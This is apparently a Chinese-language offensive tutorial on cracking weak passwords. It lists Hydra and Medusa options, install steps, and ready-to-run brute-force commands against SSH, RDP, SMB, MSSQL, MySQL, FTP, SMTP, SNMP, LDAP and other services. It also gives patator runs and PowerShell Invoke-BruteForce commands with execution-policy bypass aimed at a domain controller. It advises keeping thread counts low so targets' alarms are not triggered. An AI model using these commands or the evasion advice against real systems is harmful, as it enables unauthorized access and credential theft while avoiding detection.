永不消失的 '0day' [ 弱口令 ]

-R	从上次未完成的爆破文件[hydra.restore]中读取爆破进度并接着上次的进度继续往后爆破
-S 	爆破https时需要加上该选项
-s 	如果要爆破的服务用的不是默认端口,可以用这个来手工指定服务端口号
-l/-L 	指定用户名 / 指定用户名字典文件
-p/-P 	指定密码 / 指定密码字典文件[字典务必要自己精心准备,别人的始终不适合自己的环境]
-e 	尝试空密码[n]/尝试将用户名作为密码[s]/尝试将用户名和密码位置调换爆破[r]
-f/-F 	当爆出第一个正确的密码后,就自动退出程序,-f表示单个'进程'退出,-F表示全局退出
-t 	指定爆破进程,实际爆破中给8个左右即可,太高了容易报警,速度慢不怕,就怕动静儿太大,这里只是个参考,如果目标内网环境相对比较松,可以适当再放大一点,当然,肯定不能无限大,基于目标系统而定,大家酌情使用吧
-w 	设定超时时长,默认32秒,一般情况10秒即可
-4/-6 	4表示用ipv4,6表示用ipv6
-v 	显示爆破信息
-M 	把要爆破的目标都写到一个文件中,每行对应一个目标,支持域名,CIDR格式,或者单个ip的形式

# tar -zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build/
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make && make install
# echo $?
# /sbin/ldconfig

# yum groupinstall "Development Tools"
# yum install openssl-devel pcre-devel ncurses-devel ncurses postgresql-devel libssh-devel subversion-devel gcc cmake mysql-devel subversion-devel ncpfs-devel postgresql-devel  libncurses-devel libidn-devel libpqxx-devel apr-devel apr-util-devel  firebird-devel afpfs-ng-devel
# echo $?

# tar -zxf hydra-8.0.tar.gz
# cd hydra-8.0
# ./configure && make && make install
# hydra -h

# hydra -L user.txt -P pass.txt -f -v -t 20 mssql://192.168.3.23

# hydra -L user.txt -P pass.txt -f -v -t 20 smb://192.168.3.23

# hydra  -L user.txt -P pass.txt -f -v rlogin://192.168.3.161

# hydra -l root -P pass.txt -f -v -t 20 mysql://192.168.3.13

# hydra -L user.txt -P pass.txt -f -v -t 20 postgres://192.168.3.23

# hydra -L user.txt -P pass.txt -f -v -t 20 rdp://192.168.3.23

# hydra -l root -P pass.txt -f -v -t 20 ssh://192.168.3.160

# hydra -L user.txt -P pass.txt -v -f -t 20 smtp://192.168.3.160

# hydra -L user.txt -P pass.txt -v -f -t 20 smtp://192.168.3.160

# hydra -L user.txt -P pass.txt -f -v -t 20 ftp://192.168.3.23

# hydra -L user.txt -P pass.txt -f -v -t 20 telnet://192.168.3.23

# hydra  -P pass.txt -f -v -t 20 vnc://192.168.3.23

# hydra  -P pass.txt -f -v -t 20 snmp://192.168.3.160

# hydra -L user.txt -P pass.txt -f -v -t 20 svn://192.168.3.13

# hydra -L user.txt -P pass.txt -f -v -t 20 ldap2://192.168.3.161

/usr/lib/medusa/modules

/usr/local/lib/medusa/modules

http://foofus.net/goons/jmk/medusa/medusa.html

# yum groupinstall "Development Tools"
# yum install openssl-devel libssh2-devel postgresql-devel subversion-devel freerdp-devel
# tar -zxf medusa-2.2.tar.gz
# cd medusa-2.2
# vi INSTALL
# ./configure && make && make install
# echo $?
# medusa -h

-h 	指定目标ip或者域名
-H 	要爆破多个目标时,可以统一把他们先放到一个文件中,用该选项指定即可,每个目标对应单独的一行
-u/-U 	指定用户名或者包含用户名的字典
-p/-P 	指定单个密码或者包含密码的字典[务必精心准备]
-e n/s	跟hydra一样,尝试空密码,把用户名当密码尝试,
-M 	指定要爆破的服务模块,比如是medusa支持的服务才可以,至于具体支持那些服务,看前面的模块目录即可知
-n 	如果服务不是默认的端口,用该选项手工指定端口号
-s 	启用ssl
-f 	在爆出第一个密码之后就退出该程序
-v 	显示爆破详情

# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M mssql

# medusa -h 192.168.3.13 -U user.txt -P pass.txt -f -M mysql

# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M smbnt

# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M postgres

# medusa -h 192.168.3.11 -U user.txt -P pass.txt -f -M rlogin

# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M rdp

# medusa -h 192.168.3.11 -u root -P pass.txt -f -M ssh

# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M telnet

# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M ftp

# medusa -h target.org -u target_name@target.org -P pass.txt -f -M smtp

# medusa -h 192.168.3.23 -u target_name@target.org -P pass.txt -f -M imap

# medusa -h 192.168.3.23 -u target_name@target.org -P pass.txt -f -M pop3

# medusa -h 192.168.3.160  -P pass.txt -f -v -t 20 -M snmp

# medusa -h 192.168.3.13 -U user.txt -P pass.txt -f -M svn

相对稳定,精度较高,字典不易过大,控制在一万以内的高质字典即可,可能是程序本身或者目标防护的问题,有时候莫名其妙的异常,总体来讲,个人推荐

# pip install pycrypto pyopenssl 加密库也经常报错
# pip install impacket    	 网络库一样经常报错
# pip install paramiko
# pip install IPy
# pip install dnspython

# python patator.py smb_login host=192.168.3.23 port=445 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

# python patator.py ftp_login host=192.168.3.23 port=21 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

# python patator.py ssh_login host=192.168.3.11 port=22 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service SQL -Verbose}"

# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service Ftp -Verbose}"

# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName rootkit.org -UserList C:\user.txt -PasswordList C:\pass.txt -Service ActiveDirectory -Verbose}"